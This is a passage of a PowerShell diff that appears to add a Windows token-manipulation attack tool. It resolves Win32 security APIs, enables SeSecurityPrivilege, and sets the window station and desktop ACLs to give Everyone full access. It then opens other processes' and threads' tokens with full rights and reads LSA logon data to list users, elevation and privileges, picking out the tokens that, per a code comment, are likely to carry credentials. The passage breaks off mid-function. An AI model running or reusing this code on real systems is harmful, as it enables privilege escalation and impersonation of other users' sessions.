$GetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetSecurityInfoAddr, $GetSecurityInfoDelegate) + + $SetSecurityInfoAddr = Get-ProcAddress advapi32.dll SetSecurityInfo + $SetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32]) + $SetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetSecurityInfoAddr, $SetSecurityInfoDelegate) + + $GetAceAddr = Get-ProcAddress advapi32.dll GetAce + $GetAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([IntPtr]) + $GetAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAceAddr, $GetAceDelegate) + + $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW + $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) + $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) + + $AddAccessAllowedAceAddr = Get-ProcAddress advapi32.dll AddAccessAllowedAce + $AddAccessAllowedAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr]) ([Bool]) + $AddAccessAllowedAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AddAccessAllowedAceAddr, $AddAccessAllowedAceDelegate) + + $CreateWellKnownSidAddr = Get-ProcAddress advapi32.dll CreateWellKnownSid + $CreateWellKnownSidDelegate = Get-DelegateType @([UInt32], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) + $CreateWellKnownSid = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateWellKnownSidAddr, $CreateWellKnownSidDelegate) + + $SetEntriesInAclWAddr = Get-ProcAddress advapi32.dll SetEntriesInAclW + $SetEntriesInAclWDelegate = Get-DelegateType @([UInt32], $EXPLICIT_ACCESS.MakeByRefType(), [IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) + $SetEntriesInAclW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetEntriesInAclWAddr, $SetEntriesInAclWDelegate) + + $LocalFreeAddr = Get-ProcAddress kernel32.dll LocalFree + $LocalFreeDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) + + $LookupPrivilegeNameWAddr = Get-ProcAddress advapi32.dll LookupPrivilegeNameW + $LookupPrivilegeNameWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) + $LookupPrivilegeNameW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeNameWAddr, $LookupPrivilegeNameWDelegate) + ############################### + + + #Used to add 64bit memory addresses + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + #Enable SeSecurityPrivilege, needed to query security information for desktop DACL + function Enable-SeSecurityPrivilege + { + [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq $false) + { + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + } + else + { + Throw ([ComponentModel.Win32Exception] $ErrorCode) + } + } + + $CloseHandle.Invoke($ThreadHandle) | Out-Null + + $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) + $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + + $Result = $LookupPrivilegeValue.Invoke($null, "SeSecurityPrivilege", [Ref] $LuidObject) + + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) + $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) + + $LuidAndAttributes.Luid = $LuidObject + $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) + $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges = $LuidAndAttributes + + $Global:TokenPriv = $TokenPrivileges + + $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $CloseHandle.Invoke($ThreadToken) | Out-Null + } + + + #Change the ACL of the WindowStation and Desktop + function Set-DesktopACLs + { + Enable-SeSecurityPrivilege + + #Change the privilege for the current window station to allow full privilege for all users + $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0") + $hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC) + + if ($hWinsta -eq [IntPtr]::Zero) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + Set-DesktopACLToAllowEveryone -hObject $hWinsta + $CloseHandle.Invoke($hWinsta) | Out-Null + + #Change the privilege for the current desktop to allow full privilege for all users + $hDesktop = $OpenDesktopA.Invoke("default", 0, $false, $Win32Constants.DESKTOP_GENERIC_ALL -bor $Win32Constants.WRITE_DAC) + if ($hDesktop -eq [IntPtr]::Zero) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + Set-DesktopACLToAllowEveryone -hObject $hDesktop + $CloseHandle.Invoke($hDesktop) | Out-Null + } + + + function Set-DesktopACLToAllowEveryone + { + Param( + [IntPtr]$hObject + ) + + [IntPtr]$ppSidOwner = [IntPtr]::Zero + [IntPtr]$ppsidGroup = [IntPtr]::Zero + [IntPtr]$ppDacl = [IntPtr]::Zero + [IntPtr]$ppSacl = [IntPtr]::Zero + [IntPtr]$ppSecurityDescriptor = [IntPtr]::Zero + #0x7 is window station, change for other types + $retVal = $GetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, [Ref]$ppSidOwner, [Ref]$ppSidGroup, [Ref]$ppDacl, [Ref]$ppSacl, [Ref]$ppSecurityDescriptor) + if ($retVal -ne 0) + { + Write-Error "Unable to call GetSecurityInfo. ErrorCode: $retVal" + } + + if ($ppDacl -ne [IntPtr]::Zero) + { + $AclObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ppDacl, [Type]$ACL) + + #Add all users to acl + [UInt32]$RealSize = 2000 + $pAllUsersSid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($RealSize) + $Success = $CreateWellKnownSid.Invoke(1, [IntPtr]::Zero, $pAllUsersSid, [Ref]$RealSize) + if (-not $Success) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + #For user "Everyone" + $TrusteeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TRUSTEE) + $TrusteePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TrusteeSize) + $TrusteeObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TrusteePtr, [Type]$TRUSTEE) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TrusteePtr) + $TrusteeObj.pMultipleTrustee = [IntPtr]::Zero + $TrusteeObj.MultipleTrusteeOperation = 0 + $TrusteeObj.TrusteeForm = $Win32Constants.TRUSTEE_IS_SID + $TrusteeObj.TrusteeType = $Win32Constants.TRUSTEE_IS_WELL_KNOWN_GROUP + $TrusteeObj.ptstrName = $pAllUsersSid + + #Give full permission + $ExplicitAccessSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$EXPLICIT_ACCESS) + $ExplicitAccessPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ExplicitAccessSize) + $ExplicitAccess = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExplicitAccessPtr, [Type]$EXPLICIT_ACCESS) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ExplicitAccessPtr) + $ExplicitAccess.grfAccessPermissions = 0xf03ff + $ExplicitAccess.grfAccessMode = $Win32constants.GRANT_ACCESS + $ExplicitAccess.grfInheritance = $Win32Constants.OBJECT_INHERIT_ACE + $ExplicitAccess.Trustee = $TrusteeObj + + [IntPtr]$NewDacl = [IntPtr]::Zero + + $RetVal = $SetEntriesInAclW.Invoke(1, [Ref]$ExplicitAccess, $ppDacl, [Ref]$NewDacl) + if ($RetVal -ne 0) + { + Write-Error "Error calling SetEntriesInAclW: $RetVal" + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAllUsersSid) + + if ($NewDacl -eq [IntPtr]::Zero) + { + throw "New DACL is null" + } + + #0x7 is window station, change for other types + $RetVal = $SetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, $ppSidOwner, $ppSidGroup, $NewDacl, $ppSacl) + if ($RetVal -ne 0) + { + Write-Error "SetSecurityInfo failed. Return value: $RetVal" + } + + $LocalFree.Invoke($ppSecurityDescriptor) | Out-Null + } + } + + + #Get the primary token for the specified processId + function Get-PrimaryToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ProcessId, + + #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. + [Parameter()] + [Switch] + $FullPrivs + ) + + if ($FullPrivs) + { + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + } + else + { + $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY + } + + $ReturnStruct = New-Object PSObject + + $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess + if ($hProcess -eq [IntPtr]::Zero) + { + #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." + return $null + } + else + { + [IntPtr]$hProcToken = [IntPtr]::Zero + $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) + + #Close the handle to hProcess (the process handle) + if (-not $CloseHandle.Invoke($hProcess)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hProcess = [IntPtr]::Zero + + if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" + return $null + } + else + { + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken + } + } + + return $ReturnStruct + } + + + function Get-ThreadToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ThreadId + ) + + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + + $RetStruct = New-Object PSObject + [IntPtr]$hThreadToken = [IntPtr]::Zero + + $hThread = $OpenThread.Invoke($Win32Constants.THREAD_ALL_ACCESS, $false, $ThreadId) + if ($hThread -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER) #The thread probably no longer exists + { + Write-Warning "Failed to open thread handle for ThreadId: $ThreadId. Error code: $ErrorCode" + } + } + else + { + $Success = $OpenThreadToken.Invoke($hThread, $TokenPrivs, $false, [Ref]$hThreadToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if (($ErrorCode -ne $Win32Constants.ERROR_NO_TOKEN) -and #This error is returned when the thread isn't impersonated + ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER)) #Probably means the thread was closed + { + Write-Warning "Failed to call OpenThreadToken for ThreadId: $ThreadId. Error code: $ErrorCode" + } + } + else + { + Write-Verbose "Successfully queried thread token" + } + + #Close the handle to hThread (the thread handle) + if (-not $CloseHandle.Invoke($hThread)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close thread handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hThread = [IntPtr]::Zero + } + + $RetStruct | Add-Member -MemberType NoteProperty -Name hThreadToken -Value $hThreadToken + return $RetStruct + } + + + #Gets important information about the token such as the logon type associated with the logon + function Get-TokenInformation + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken + ) + + $ReturnObj = $null + + $TokenStatsSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_STATISTICS) + [IntPtr]$TokenStatsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenStatsSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenStatistics, $TokenStatsPtr, $TokenStatsSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed. Error code: $ErrorCode" + } + else + { + $TokenStats = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenStatsPtr, [Type]$TOKEN_STATISTICS) + + #Query LSA to determine what the logontype of the session is that the token corrosponds to, as well as the username/domain of the logon + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenStats.AuthenticationId, $LuidPtr, $false) + + [IntPtr]$LogonSessionDataPtr = [IntPtr]::Zero + $ReturnVal = $LsaGetLogonSessionData.Invoke($LuidPtr, [Ref]$LogonSessionDataPtr) + if ($ReturnVal -ne 0 -and $LogonSessionDataPtr -eq [IntPtr]::Zero) + { + Write-Warning "Call to LsaGetLogonSessionData failed. Error code: $ReturnVal. LogonSessionDataPtr = $LogonSessionDataPtr" + } + else + { + $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA) + if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and + $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero) + { + #Get the username and domainname associated with the token + $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.Username.Buffer, $LogonSessionData.Username.Length/2) + $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2) + + #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE) + #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account + #results in querying the domain controller which is unwanted. + if ($Username -ieq "$($env:COMPUTERNAME)`$") + { + [UInt32]$Size = 100 + [UInt32]$NumUsernameChar = $Size / 2 + [UInt32]$NumDomainChar = $Size / 2 + [UInt32]$SidNameUse = 0 + $UsernameBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) + $DomainBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) + $Success = $LookupAccountSidW.Invoke([IntPtr]::Zero, $LogonSessionData.Sid, $UsernameBuffer, [Ref]$NumUsernameChar, $DomainBuffer, [Ref]$NumDomainChar, [Ref]$SidNameUse) + + if ($Success) + { + $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($UsernameBuffer) + $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($DomainBuffer) + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Error calling LookupAccountSidW. Error code: $ErrorCode" + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UsernameBuffer) + $UsernameBuffer = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($DomainBuffer) + $DomainBuffer = [IntPtr]::Zero + } + + $ReturnObj = New-Object PSObject + $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain + $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username + $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken + $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType + + + #Query additional info about the token such as if it is elevated + $ReturnObj | Add-Member -Type NoteProperty -Name IsElevated -Value $false + + $TokenElevationSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_ELEVATION) + $TokenElevationPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenElevationSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenElevation, $TokenElevationPtr, $TokenElevationSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode" + } + else + { + $TokenElevation = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenelevationPtr, [Type]$TOKEN_ELEVATION) + if ($TokenElevation.TokenIsElevated -ne 0) + { + $ReturnObj.IsElevated = $true + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenElevationPtr) + + + #Query the token type to determine if the token is a primary or impersonation token + $ReturnObj | Add-Member -Type NoteProperty -Name TokenType -Value "UnableToRetrieve" + + [UInt32]$TokenTypeSize = 4 + [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypeSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenType, $TokenTypePtr, $TokenTypeSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$TokenType = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenTypePtr, [Type][UInt32]) + switch($TokenType) + { + 1 {$ReturnObj.TokenType = "Primary"} + 2 {$ReturnObj.TokenType = "Impersonation"} + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr) + + + #Query the impersonation level if the token is an Impersonation token + if ($ReturnObj.TokenType -ieq "Impersonation") + { + $ReturnObj | Add-Member -Type NoteProperty -Name ImpersonationLevel -Value "UnableToRetrieve" + + [UInt32]$ImpersonationLevelSize = 4 + [IntPtr]$ImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ImpersonationLevelSize) #sizeof uint32 + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenImpersonationLevel, $ImpersonationLevelPtr, $ImpersonationLevelSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$ImpersonationLevel = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImpersonationLevelPtr, [Type][UInt32]) + switch ($ImpersonationLevel) + { + 0 { $ReturnObj.ImpersonationLevel = "SecurityAnonymous" } + 1 { $ReturnObj.ImpersonationLevel = "SecurityIdentification" } + 2 { $ReturnObj.ImpersonationLevel = "SecurityImpersonation" } + 3 { $ReturnObj.ImpersonationLevel = "SecurityDelegation" } + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ImpersonationLevelPtr) + } + + + #Query the token sessionid + $ReturnObj | Add-Member -Type NoteProperty -Name SessionID -Value "Unknown" + + [UInt32]$TokenSessionIdSize = 4 + [IntPtr]$TokenSessionIdPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenSessionIdSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenSessionId, $TokenSessionIdPtr, $TokenSessionIdSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$TokenSessionId = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenSessionIdPtr, [Type][UInt32]) + $ReturnObj.SessionID = $TokenSessionId + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenSessionIdPtr) + + + #Query the token privileges + $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesEnabled -Value @() + $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesAvailable -Value @() + + [UInt32]$TokenPrivilegesSize = 1000 + [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenPrivileges, $TokenPrivilegesPtr, $TokenPrivilegesSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" + } + else + { + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + + #Loop through each privilege + [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges"))) + $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) + { + $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i)) + + $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES) + + #Lookup privilege name + [UInt32]$PrivilegeNameSize = 60 + $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize) + $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid + + $Success = $LookupPrivilegeNameW.Invoke([IntPtr]::Zero, $PLuid, $PrivilegeNamePtr, [Ref]$PrivilegeNameSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Call to LookupPrivilegeNameW failed. Error code: $ErrorCode. RealSize: $PrivilegeNameSize" + } + $PrivilegeName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($PrivilegeNamePtr) + + #Get the privilege attributes + $PrivilegeStatus = "" + $Enabled = $false + + if ($LuidAndAttribute.Attributes -eq 0) + { + $Enabled = $false + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) -eq $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) #enabled by default + { + $Enabled = $true + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED) -eq $Win32Constants.SE_PRIVILEGE_ENABLED) #enabled + { + $Enabled = $true + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_REMOVED) -eq $Win32Constants.SE_PRIVILEGE_REMOVED) #SE_PRIVILEGE_REMOVED. This should never exist. Write a warning if it is found so I can investigate why/how it was found. + { + Write-Warning "Unexpected behavior: Found a token with SE_PRIVILEGE_REMOVED. Please report this as a bug. " + } + + if ($Enabled) + { + $ReturnObj.PrivilegesEnabled += ,$PrivilegeName + } + else + { + $ReturnObj.PrivilegesAvailable += ,$PrivilegeName + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PrivilegeNamePtr) + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + + } + else + { + Write-Verbose "Call to LsaGetLogonSessionData succeeded. This SHOULD be SYSTEM since there is no data. $($LogonSessionData.UserName.Length)" + } + + #Free LogonSessionData + $ntstatus = $LsaFreeReturnBuffer.Invoke($LogonSessionDataPtr) + $LogonSessionDataPtr = [IntPtr]::Zero + if ($ntstatus -ne 0) + { + Write-Warning "Call to LsaFreeReturnBuffer failed. Error code: $ntstatus" + } + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + $LuidPtr = [IntPtr]::Zero + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenStatsPtr) + $TokenStatsPtr = [IntPtr]::Zero + + return $ReturnObj + } + + + #Takes an array of TokenObjects built by the script and returns the unique ones + function Get-UniqueTokens + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [Object[]] + $AllTokens + ) + + $TokenByUser = @{} + $TokenByEnabledPriv = @{} + $TokenByAvailablePriv = @{} + + #Filter tokens by user + foreach ($Token in $AllTokens) + { + $Key = $Token.Domain + "\" + $Token.Username + if (-not $TokenByUser.ContainsKey($Key)) + { + #Filter out network logons and junk Windows accounts. This filter eliminates accounts which won't have creds because + # they are network logons (type 3) or logons for which the creds don't matter like LOCOAL SERVICE, DWM, etc.. + if ($Token.LogonType -ne 3 -and + $Token.Username -inotmatch "^DWM-\d+$" -and + $Token.Username -inotmatch "^LOCAL\sSERVICE$") + { + $TokenByUser.Add($Key, $Token) + } + } + else + { + #If Tokens have equal elevation levels, compare their privileges. + if($Token.IsElevated -eq $TokenByUser[$Key].IsElevated) + { + if (($Token.PrivilegesEnabled.Count + $Token.PrivilegesAvailable.Count) -gt ($TokenByUser[$Key].PrivilegesEnabled.Count + $TokenByUser[$Key].PrivilegesAvailable.Count)) + { + $TokenByUser[$Key] = $Token + } + } + #If the new token is elevated and the current token isn't, use the new token + elseif (($Token.IsElevated -eq $true) -and ($TokenByUser[$Key].IsElevated -eq $false)) + { + $TokenByUser[$Key] = $Token + } + } + } + + #Filter tokens by privilege + foreach ($Token in $AllTokens) + { + $Fullname = "$($Token.Domain)\$($Token.Username)" + + #Filter currently enabled privileges + foreach ($Privilege in $Token.PrivilegesEnabled) + { + if 